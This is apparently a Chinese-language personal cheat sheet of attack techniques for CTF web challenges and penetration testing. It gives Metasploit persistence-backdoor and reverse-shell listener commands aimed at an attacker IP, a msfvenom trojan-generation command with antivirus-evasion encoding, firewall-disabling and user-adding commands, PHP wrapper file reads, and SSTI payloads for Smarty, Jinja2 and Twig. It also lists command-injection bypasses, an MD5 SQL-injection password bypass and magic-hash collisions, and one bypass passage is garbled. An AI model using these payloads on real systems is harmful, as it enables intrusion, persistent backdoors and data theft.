-
Linux命令:
exit查看防火墙:netsh advfirewall show allprofile state
开/关防火墙:netsh advfirewall set allprofile state on/off
查询用户:net user
添加用户:net user wxq 123456 /add
查看本地组:net localgroup
查看组用户:net localgroup administrators
解决命令行乱码:chcp 65001 -
持久化后门(msfconsole):
run persistence -U -i 5 -p 443 -r 192.168.1.71 //攻击机ip
####################################################
-A 自动启动一个匹配的exploit / multi / handler来连接到代理
-L 如果未使用%TEMP%,则在目标主机中写入有效负载的位置。
-P 有效负载使用,默认为windows / meterpreter / reverse_tcp。
-S 作为服务自动启动代理程序(具有SYSTEM权限)
-T 要使用的备用可执行模板
-U 用户登录时自动启动代理
-X 系统引导时自动启动代理程序
-h 这个帮助菜单
-i 每次连接尝试之间的时间间隔(秒)
-p 运行Metasploit的系统正在侦听的端口
-r 运行Metasploit监听连接的系统的IP
####################################################
清除持久化命令脚本:
run multi_console_command -r /root/.msf4/logs/persistence/XEN-XP-SP2-BARE_20100821.2602/clean_up__20100821.2602.rc -
msfvenom生成木马监听程序:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<监听ip> LPORT=<监听端口> -f exe > shell.exe
####################################################
-p, --payload 指定需要使用的payload。使用自定义的payload,请使用-;或者stdin指定
-l, --list 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled 为payload预先指定一个NOP滑动长度
-f, --format 指定输出格式
-e, --encoder 指定需要使用的编码
-a, --arch 指定payload的目标架构 x64 x86
–platform 指定payload的目标平台
-s, --space 设定有效攻击荷载的最大长度
-b, --bad-chars 设定规避字符集,比如: & #039;\x00\xff& #039;
-i, --iterations 指定payload的编码次数,绕杀毒
-c, --add-code 指定一个附加的win32 shellcode文件
-x, --template 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
–payload-options 列举payload的标准选项
-o, --out 保存payload
-v, --var-name 指定一个自定义的变量,以确定输出格式
–shellest 最小化生成payload
#################################################### -
后门利用:
msfconsole
msf>use exploit/multi/handler ====>“handler”这个模块专门就是来做被动监听的,诱使目标执行任何木马后都可以用这个模块进行连接。(假如目标设备运行的meterpreter/reverse_tcp这个木马,则在服务端handler也set这个木马为payload即可)
msf>set PAYLOAD windows/meterpreter/reverse_tcp
msf>set LHOST 192.168.1.71 //攻击机ip
msf>set LPORT 123
msf>set exitonsession false ===>这个如果不设置为false的话,只要建立了一个session后就不再继续监听,想要再连接其他session需要再次run。反之,如果设为false,建立了一个session后还会继续监听,无需run即可建立多个session。
msf>set AutoRunScript migrate -N explorer.exe ===>一般模块都有AutoRunScript参数(需show advanced查看),此参数作用是:建立连接后自动执行后面的命令,此处即“migrate -N explorer.exe”
msf>run -
开放443端口:
C:\Windows\system32>netsh firewall add portopening TCP 443 ENABLE -
php伪协议
?file=php://filter/read=convert.base64-encode/resource=index.php
php://input
?text=data://text/plain,welcome to the zjctf
过滤器
字符串过滤器
该类通常以string开头,对每个字符都进行同样方式的处理。
string.rot13
一种字符处理方式,字符右移十三位。
string.toupper
将所有字符转换为大写。
string.tolower
将所有字符转换为小写。
string.strip_tags
这个过滤器就比较有意思,用来处理掉读入的所有标签,例如XML的等等。在绕过死亡exit大有用处。
转换过滤器
对数据流进行编码,通常用来读取文件源码。
convert.base64-encode & convert.base64-decode
base64加密解密
convert.quoted-printable-encode & convert.quoted-printable-decode
php命令执行函数有:
> exec — 执行一个外部程序
> passthru — 执行外部程序并且显示原始输出
> proc_close — 关闭由 proc_open 打开的进程并且返回进程退出码
> proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。
> popen — 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
> proc_terminate — 杀除由 proc_open 打开的进程
> shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
> system — 执行外部程序,并且显示输出
> scandir 列出指定路径中的文件和目录
> eval — 把字符串作为PHP代码执行
> assert --函数直接将传入的参数当成PHP代码执行
- linux查看文件的命令
cat tac more less head tail nl static-sh paste od bzmore bzless
-
php文件读取函数
printr() fread() fgets() var_dump(file_get_contents()) file_get_contents():把整个文件读入到一个字符串中
//数组操作函数:
end():数组指针指向最后一位 next(): 数组指针指向下一位 array_reverse(): 将数组颠倒 array_rand(): 随机返回数组的键名 array_flip():交换数组的键和值
//读取文件函数
file_get_contents() :因为et被ban,所以不能使用 readfile() highlight_file() show_source()
scandir(’.’):扫描当前目录 localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.
pos(),current():返回数组第一个值
scandir(pos(localeconv())) => scandir(‘.’)
使用passthru函数找到flag文件,并读取flag文件内容 /index.php?a={passthru(“ls -al /”)} /index.php?f={fread(fopen(“/_13075”,“r”),4096)}
-
MD5和strcmp绕过
MD5、sha1不支持数组,结果均为NULL
strcmp(str1,str2):两字符串相等返回0,str1>str2,返回正数,否则返回负数。若比较的是数组,无论是否相等都返回0。 -
序列化和反序列化
__construct() 创建对象时调用
__destruct() 销毁对象时调用
__toString() 当一个对象被当作一个字符串使用
__sleep() 在对象在被序列化之前运行
__wakeup 将在序列化之后立即被调用
O:3:"Ctf":3:{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}
O代表对象 因为我们序列化的是一个对象,序列化数组则用A来表示
3代表类名字占三个字符 ctf 类名 3 代表三个属性 s代表字符串
4代表属性名长度 flag属性名 s:13:“flag{abedyui}” 字符串 属性值长度 属性值
public(公有)
protected(受保护)
private(私有的)
protected属性被序列化的时候属性值会变成:\00*\00属性名
private属性被序列化的时候属性值会变成:\00类名\00属性名
O:4:"Name":2:{s:14:"\00Name\00username";s:5:"admin";s:14:"\00Name\00password";i:100;}//这里是private属性被序列化
- SSTI
- php Smarty模板注入
{if phpinfo()}{/if}
{if system('ls')}{/if}
{ readfile('/flag') }
{if show_source('/flag')}{/if}
{if system('cat ../../../flag')}{/if}
- ssti flask Jinjia2注入
存在Flask框架,可能存在SSTI模板注入漏洞。 详情https://www.freebuf.com/column/187845.html
SSTI注入模板:{undefined{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
//[40]:基类中读取文件引用的索引号。
不含os模块的类warnings.catch_warnings
进行命令执行
a. 目录读取
{{[].class.base.subclasses()[59].init[‘glo’+'bals’][‘builtins’]‘eval’}}
内含os模块的类 class’site._Printer’
a. 目录查询
{{[].class.base.subclasses()[71].init[‘glo’+'bals’][‘os’].popen(‘ls’).read()}}
读取源码:
{% for c in [].__class__.__base__.__subclasses__() %}{%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].open('/this_is_the_f'+'lag.txt','r').read()}}{% endif %}{% endfor %}
查看根目录:
{% for c in [].__class__.__base__.__subclasses__() %}{%if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
使用request绕过class、subclasses、read等关键字:
{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__
class 返回类型所属的对象
mro 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
base 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的
subclasses 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
init 类的初始化方法
globals 对包含函数全局变量的字典的引用
eg:
web进阶16.shrine
/shrine/{{get_flashed_messages.globals[‘current_app’].config[‘FLAG’]}}
-
Twig注入:
{{_self.env.registerUndefinedFilterCallback(“exec”)}}{{_self.env.getFilter(“id”)}} -
render渲染框架:{{handler.settings}}获取请求cookie等信息
-
序列化字符串逃逸
https://blog.csdn.net/qq_25755011/article/details/115950424 -
url字符绕过
空格:$IFS 1 反单引号: ‘ ‘ ? i p = 127.0.0.1 ; c a t 1 反单引号:`` ?ip=127.0.0.1;cat 1反单引号:‘‘?ip=127.0.0.1;catIFS 1 ‘ l s ‘ 方法名叫内联执行方法 : 将反引号内命令的输出作为输入执行 ? i p = 127.0.0.1 ; e c h o 1`ls` 方法名叫内联执行 方法:将反引号内命令的输出作为输入执行 ?ip=127.0.0.1;echo 1‘ls‘方法名叫内联执行方法:将反引号内命令的输出作为输入执行?ip=127.0.0.1;echoIFS 1 Y 2 F 0 I G Z s Y W c u c G h w ∣ b a s e 64 1Y2F0IGZsYWcucGhw|base64 1Y2F0IGZsYWcucGhw∣base64IFS$1-d|sh
Y2F0IGZsYWcucGhw为cat flag.php base64编码 -
备份文件: .git .svn .swp .~ .bak .bash_history
若后台数据库采用select * from ‘user’ where password=md5($passwd)做密码校验时:
使用MD5(ffifdyop)=276f722736c95d99e921722cf9ed621c,16进制转为字符串为:'or’6É]™é!r,ùíb
select * from ‘user’ where password=‘'or’6’ 结果为true。
md5(CbDLytmyGm2xQyaLNhWn)=0ec20b7c66cafbcc7d8e8481f0653d18
md5(md5(CbDLytmyGm2xQyaLNhWn))=0e3a5f2a80db371d4610b8f940d2
96af
770hQgrBOjrcqftrlaZk
md5(770hQgrBOjrcqftrlaZk)=0e689b4f703bdc753be7e27b45cb3625
md5(md5(770hQgrBOjrcqftrlaZk))=0e2756da68ef740fd8f5a5c26cc45064
7r4lGXCH2Ksu2JNT3BYM
md5(7r4lGXCH2Ksu2JNT3BYM)=0e269ab12da27d79a6626d91f34ae849
md5(md5(7r4lGXCH2Ksu2JNT3BYM))=0e48d320b2a97ab295f5c4694759889f
0e215962017